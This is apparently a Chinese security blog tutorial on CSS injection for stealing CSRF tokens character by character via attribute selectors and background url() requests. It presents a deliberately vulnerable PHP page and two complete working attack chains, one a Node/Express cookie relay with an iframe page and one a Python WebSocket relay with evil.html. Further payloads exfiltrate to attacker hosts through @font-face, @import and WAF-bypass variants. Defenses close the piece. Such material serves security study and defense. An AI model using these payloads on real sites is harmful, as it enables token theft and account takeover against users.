前言 CSS Injection(CSS 注入)是一种常被低估的 Web 攻击手法。当页面允许用户控制 CSS 内容(如 <style> 标签内容或 css 查询参数直接拼接进样式块),攻击者可以利用 CSS 属性选择器 + background: url() 的组合,将页面中的敏感数据(CSRF Token、用户 ID、页面内容等)逐字符发送到外部服务器。
核心优势:
不需要执行 JavaScript(绕过 CSP script-src)
不需要页面有回显(数据通过浏览器发起的 HTTP 请求外带)
属性选择器在 input[value] 上直接生效,无需 JS 读写 DOM
典型攻击场景:
页面 CSS 参数可控(如自定义主题颜色拼接进了 <style>)
目标数据嵌入在 input[value]、meta[content]、自定义属性中
CSP 禁用了 inline script 但没有限制 img-src 或 connect-src
本文从 CSS 属性选择器基础讲起,拆解逐字符爆破 CSRF Token 的完整攻击链,并给出两种实际可用的 PoC(Cookie 回传 + WebSocket 回传)以及防御方案。
一、CSS 属性选择器基础 1.1 选择器速查 CSS 属性选择器可以按属性值的前缀、后缀、包含关系 精确匹配元素:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [attr] → 带有 attr 属性的元素[attr="value" ] → attr 属性完全等于 value[attr^="value" ] → attr 属性以 value 开头[attr$="value" ] → attr 属性以 value 结尾[attr*="value" ] → attr 属性包含 value 子串[attr~="value" ] → attr 属性是以空格分隔的列表,其中一项等于 value[attr|="value" ] → attr 属性等于 value 或以 value- 开头(常用于 `lang` 属性)
1.2 用于数据窃取的关键选择器 1 2 3 input [value^="a" ] input [value^="ab" ] input [value^="abc" ]
原理: 如果能逐字符构造前缀,当选择器匹配成功时触发一个外部请求,就能知道当前猜测的前缀是正确的。
1.3 利用 background: url() 外带数据 1 2 3 input [value^="secret_prefix" ] { background : url (http://attacker.com/leak/secret_prefix ); }
当页面上存在 value 以 "secret_prefix" 开头的 <input> 元素时,浏览器会发起 GET http://attacker.com/leak/secret_prefix 请求。攻击者从服务器日志中就能还原出完整的 value。
~* 是什么? 原文中使用了 input[value^="..."]~*{...},这是后续兄弟选择器——匹配 input 之后的所有兄弟元素。其实直接 input[value^="..."]{...} 即可,因为属性选择器本身就绑定到匹配的元素上。用 ~* 是为了绕过某些 WAF 对直接选择器的检测。
二、攻击前提与典型漏洞模式 2.1 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $token1 = md5 ($_SERVER ['HTTP_USER_AGENT' ]);$token2 = md5 ($token1 );?> <!doctype html><meta charset=utf-8 > <input type=hidden value=<?= $token1 ?> > <input type="text" name="csrftoken" > <script> var TOKEN = "<?=$token2 ?>" ;</script> <style> <?= preg_replace ('#</style#i' , '#' , $_GET ['css' ]) ?> </style>
漏洞点: $_GET['css'] 直接拼入 <style> 标签。WAF 只过滤了 </style 防闭合,但没有过滤 CSS 属性选择器和 url() 函数 。
2.2 必要条件
条件
说明
CSS 注入点
用户可控的 CSS 内容被拼入 <style> 标签或 style 属性
目标数据在 HTML 属性中
input[value]、meta[content]、a[href]、自定义属性等
目标数据长度有限
逐字符爆破,token 越长消耗时间越久(32 位 hex ≈ 32 轮)
CSP 未严格限制 img-src
url() 需要向攻击者服务器发请求,如果 img-src 'self' 则被阻断
三、逐字符爆破原理 3.1 攻击流程 1 2 3 4 5 6 7 8 9 10 11 12 13 ┌──────────────────────────────────────────────────────────────────┐ │ Step 1: 构造 CSS payload,猜测 token 第一个字符 │ │ ↓ │ │ Step 2: 受害者浏览器加载含注入 CSS 的页面 │ │ ↓ │ │ Step 3: 若 input[value^="a"] 匹配成功 │ │ → 浏览器请求 background: url(http://attacker/token/a) │ │ ↓ │ │ Step 4: 攻击者服务器收到请求 → 确认首字符为 'a' │ │ ↓ │ │ Step 5: 下一轮,猜测 input[value^="aa"], "ab", "ac"... │ │ 直到 32 位全部恢复 │ └──────────────────────────────────────────────────────────────────┘
3.2 单轮 CSS Payload 示例 已知前缀 e1,下一轮猜测所有 16 个可能的下一个字符:
1 2 3 4 5 input [value^="e10" ] { background : url (http://attacker:3000/token/e10 ); }input [value^="e11" ] { background : url (http://attacker:3000/token/e11 ); }input [value^="e12" ] { background : url (http://attacker:3000/token/e12 ); }... input [value^="e1f" ] { background : url (http://attacker:3000/token/e1f ); }
只有正确匹配的那一条 会触发浏览器请求,攻击者从收到的请求路径中就知道下一个字符是什么。
3.3 字符集分析 如果已知 token 是 MD5 hash(32 位小写 hex),字符集仅需 0123456789abcdef——每轮最多 16 次尝试 × 32 轮 = 最多 512 次请求,实际不到 10 秒即可完成。
如果 token 是 base64 或混合大小写字母+数字,字符集更大、耗时会线性增长。
四、方案一:Cookie 中转 + iframe 方式 4.1 整体架构 1 2 3 4 5 ┌──────────────┐ ┌──────────────────┐ ┌─────────────────────┐ │ Attacker │ ──→ │ Attack Server │ ←── │ Victim (iframe) │ │ Page │ │ (Node/Express) │ │ 加载 CSS 注入页面 │ │ index.html │ │ Port 3000 │ │ 含 CSRF Token │ └──────────────┘ └──────────────────┘ └─────────────────────┘
流程:
受害者访问攻击者的 index.html
JS 在 iframe 中加载目标注入页面,携带 CSS payload
CSS 匹配成功 → 浏览器向攻击服务器发 GET /token/<prefix>
攻击服务器将收到的 prefix 写入 Cookie
攻击页面的 JS 每隔 50ms 轮询 Cookie,拿到最新前缀
递归进入下一轮猜测
4.2 服务端(Node.js + Express) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const express = require ('express' );const app = express ();app.disable ('etag' ); const PORT = 3000 ;app.get ('/token/:token' , (req, res ) => { const { token } = req.params ; res.cookie ('token' , token); res.send ('' ); }); app.get ('/cookie.js' , (req, res ) => { res.sendFile ('js.cookie.js' , { root : './node_modules/js-cookie/src/' }); }); app.get ('/index.html' , (req, res ) => { res.sendFile ('index.html' , { root : '.' }); }); app.listen (PORT , () => { console .log (`Listening on ${PORT} ...` ); });
4.3 攻击页面(index.html) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <!doctype html > <meta charset =utf-8 > <script src ="./cookie.js" > </script > <big id =token > </big > <br > <iframe id =iframe > </iframe > <script > (async function ( ) { const EXPECTED_TOKEN_LENGTH = 32 ; const ALPHABET = Array .from ("0123456789abcdef" ); const iframe = document .getElementById ('iframe' ); let extractedToken = '' ; while (extractedToken.length < EXPECTED_TOKEN_LENGTH ) { clearTokenCookie (); createIframeWithCss (); extractedToken = await getTokenFromCookie (); document .getElementById ('token' ).textContent = extractedToken; } function getTokenFromCookie ( ) { return new Promise (resolve => { const interval = setInterval (function ( ) { const token = Cookies .get ('token' ); if (token) { clearInterval (interval); resolve (token); } }, 50 ); }); } function clearTokenCookie ( ) { Cookies .remove ('token' ); } function generateCSS ( ) { let css = '' ; for (let char of ALPHABET ) { css += `input[value^="${extractedToken} ${char} "] { background: url(http://ATTACKER_IP:3000/token/${extractedToken} ${char} ); }` ; } return css; } function createIframeWithCss ( ) { iframe.src = 'http://VICTIM_SITE/css.php?css=' + encodeURIComponent (generateCSS ()); } })(); </script >
4.4 攻击时序 1 2 3 4 5 6 7 8 1. 攻击者访问 index.html 2. JS 生成 CSS payload,设置 iframe.src = 目标页面 + CSS payload 3. iframe 加载目标页面,CSS 注入生效 4. input[value^="e1"] 匹配 → 浏览器请求 GET /token/e1 5. Express 收到 → res.cookie('token', 'e1') 6. 攻击页面 JS 轮询 Cookies.get('token') → 获取 'e1' 7. extractedToken = 'e1',进入下一轮猜测 8. 重复 2-7,直到 32 位全部恢复
五、方案二:WebSocket 实时回传 5.1 为什么用 WebSocket Cookie 方式需要轮询(50ms 间隔),增加延迟和请求数。WebSocket 方式做到服务器收到 CSS 外带请求后,立即推送到攻击页面 ,实时性更好。
5.2 整体架构 1 2 3 4 5 ┌──────────────┐ WebSocket ┌────────────────────┐ HTTP GET ┌──────────────────┐ │ Attacker │ ←────────── │ Python Server │ ←────────── │ Victim Page │ │ Page │ push token │ WS:8000 HTTP:8008 │ CSS leak │ (via iframe) │ │ evil.html │ │ │ │ │ └──────────────┘ └────────────────────┘ └──────────────────┘
5.3 服务端(Python HTTP + WebSocket) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from http.server import HTTPServer, BaseHTTPRequestHandlerfrom threading import Threadfrom socketserver import ThreadingMixInfrom SimpleWebSocketServer import SimpleWebSocketServer, WebSocketPORT_HTTP = 8008 PORT_WS = 8000 ws = None class RequestHandler (BaseHTTPRequestHandler ): """接收 CSS 外带请求,通过 WebSocket 推送给攻击页面""" def do_GET (self ): print (f"[+] HTTP GET {self.path} " ) self .send_response(200 ) self .end_headers() if ws: ws.sendMessage(self .path) return class ThreadedHTTPServer (ThreadingMixIn, HTTPServer): """多线程 HTTP 服务器,支持并发请求""" class SimpleEcho (WebSocket ): def handleMessage (self ): print (f'[{self.address} ] new msg' ) def handleConnected (self ): print (f'[{self.address} ] connected, starting HTTP server' ) global ws ws = self httpd = ThreadedHTTPServer(("" , PORT_HTTP), RequestHandler) server_thread = Thread(target=httpd.serve_forever) server_thread.daemon = True server_thread.start() print (f'[+] HTTP on {PORT_HTTP} , WS on {PORT_WS} ' ) def handleClose (self ): print (f'[{self.address} ] closed' ) server = SimpleWebSocketServer('' , PORT_WS, SimpleEcho) server.serveforever()
5.4 攻击页面(evil.html) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > CSS Injection Attack</title > </head > <body > <div id ="div" > </div > <iframe id ="leakchar" > </iframe > </body > <script > const WS = "ws://ATTACKER_IP:8000" ; const HTTP = "http://ATTACKER_IP:8008" ; const ALPHABET = Array .from ("0123456789abcdef" ); var s = new WebSocket (WS ); s.onopen = function (event ) { console .log ('WebSocket connected' ); next ('' ); }; s.onmessage = function (event ) { let token = event.data .match (/\w+/ )[0 ]; next (token); }; s.onclose = function (event ) { console .log ('WebSocket closed' ); }; function next (token ) { if (token.length < 32 ) { console .log ('[*] leaking ' + token + '* ...' ); document .getElementById ('leakchar' ).src = 'http://VICTIM_SITE/css.php?css=' + encodeURIComponent (generateCSS (token)); } else { console .log ('[+] Done! Token: ' + token); document .getElementById ('div' ).innerHTML = '[+] CSRF Token: ' + token; } } function generateCSS (token ) { let css = '' ; for (let char of ALPHABET ) { css += `input[value^="${token} ${char} "] ~* { background: url(${HTTP} /${token} ${char} ); }` ; } return css; } </script > </html >
5.5 两种方案对比
方案一:Cookie 中转
方案二:WebSocket 推送
实时性
轮询 50ms 间隔,有延迟
即时推送,无延迟
复杂度
简单(只需 HTTP)
中等(需要 WS + HTTP 双服务)
依赖
Node.js + Express + js-cookie
Python + SimpleWebSocketServer
可靠性
Cookie 可能被浏览器策略干扰
WebSocket 连接稳定可靠
适用场景
快速 PoC、CTF
生产级攻击、对抗严格 CSP
六、进阶技巧 1 <meta name ="csrf-token" content ="abc123def456..." >
1 2 meta[name="csrf-token" ] [content^="a" ] { background : url (http://attacker/a ); } meta[name="csrf-token" ] [content^="ab" ] { background : url (http://attacker/ab ); }
6.2 利用 script 标签内容(配合 script[src]) 如果 token 以 JS 变量形式存在:
1 <script > var CSRF_TOKEN = "abc123" ;</script >
直接这块无解——script 标签的文本内容无法用属性选择器匹配。但如果 token 写到过某个自定义属性中:
1 <script data-token ="abc123" src ="app.js" > </script >
1 script[data-token^="a" ] { background : url (http://attacker/a ); }
6.3 配合 @font-face + unicode-range 窃取文本内容 这是 CSS 注入的另一个经典思路——不需要属性选择器,直接窃取页面中可见文本 的内容:
1 2 3 4 5 6 @font-face { font-family : leak; src : url (http://attacker/a ), local (Arial); unicode-range: U+0061 ; } * { font-family : leak, Arial; }
当页面上存在 unicode-range 指定的字符时,浏览器才会请求对应的字体文件。利用这个特性可以判断页面中是否存在某个字符。
这种方式适用于窃取页面上渲染的纯文本 (如 <span>secret</span>),而不像属性选择器那样只能读 HTML 属性值。
6.4 @import 链式注入 如果 CSS 注入点只允许一行,可以用 @import 引入外部 CSS:
1 @import url(http ://attacker/evil.css);
然后在 evil.css 中写入完整的属性选择器 payload。
6.5 绕过常见 WAF 1 2 3 4 5 6 7 8 9 10 11 12 [class="hidden" ] [value^="a" ] ~ * { background : url (http://attacker/a ); }*[value^="a" ] { background : url (http://attacker/a ); } input [value^="a" ] {background :url (http://attacker/a )%3 B}background : url (//attacker/a )background: url (http:¥¥attacker¥a )
七、防御措施
层面
措施
说明
输入过滤
永远不要将用户输入拼入 <style> 标签
使用白名单(如只允许预定义的色值列表)
CSP
设置 img-src 'self' 或具体域名
阻断 background: url() 向外站发请求
CSP
设置 style-src 'self'
禁止内联 <style> 以外的注入
CSP
设置 connect-src 'self'
阻断 WebSocket 连接外部(方案二失效)
Token 防护
CSRF Token 不写入 input[value] 或任何 HTML 属性
改为 SameSite=Strict Cookie + 自定义 Header 方式传递
框架防护
设置 X-Frame-Options: DENY
阻断攻击者通过 iframe 加载目标页面,但 window.open 仍可绕过
WAF
检测 CSS payload 中的 url( 模式
但可用 url(//attacker) 或编码绕过
CSP 示例 1 2 Header set Content-Security-Policy "img-src 'self'; style-src 'self'; connect-src 'self'"
1 2 header ("Content-Security-Policy: img-src 'self'; style-src 'self'; connect-src 'self'" );
安全过滤示例 1 2 3 4 5 6 7 <style><?= $_GET ['css' ] ?> </style> $allowed = ['default' , 'dark' , 'light' ];$theme = in_array ($_GET ['theme' ], $allowed ) ? $_GET ['theme' ] : 'default' ;echo "<link rel='stylesheet' href='/css/{$theme} .css'>" ;
八、与其他数据窃取手法的比较
手法
依赖
是否需要 JS
窃取能力
CSP 阻断
CSS 属性选择器
<style> 注入
否(只需浏览器)
HTML 属性值
img-src
CSS @font-face unicode-range
<style> 注入
否
可见文本
font-src
XS-Leak (时序侧信道)
需要 JS 或 CSS
部分
布尔值
多样化
XSS
JS 注入
是
任意 DOM
script-src
Dangling Markup
HTML 注入
否
HTML 源码片段
难以防御
CSS 注入的核心优势:不需要 JS 执行 (可绕过严格的 script-src CSP),利用的是浏览器自身的 CSS 渲染行为。
参考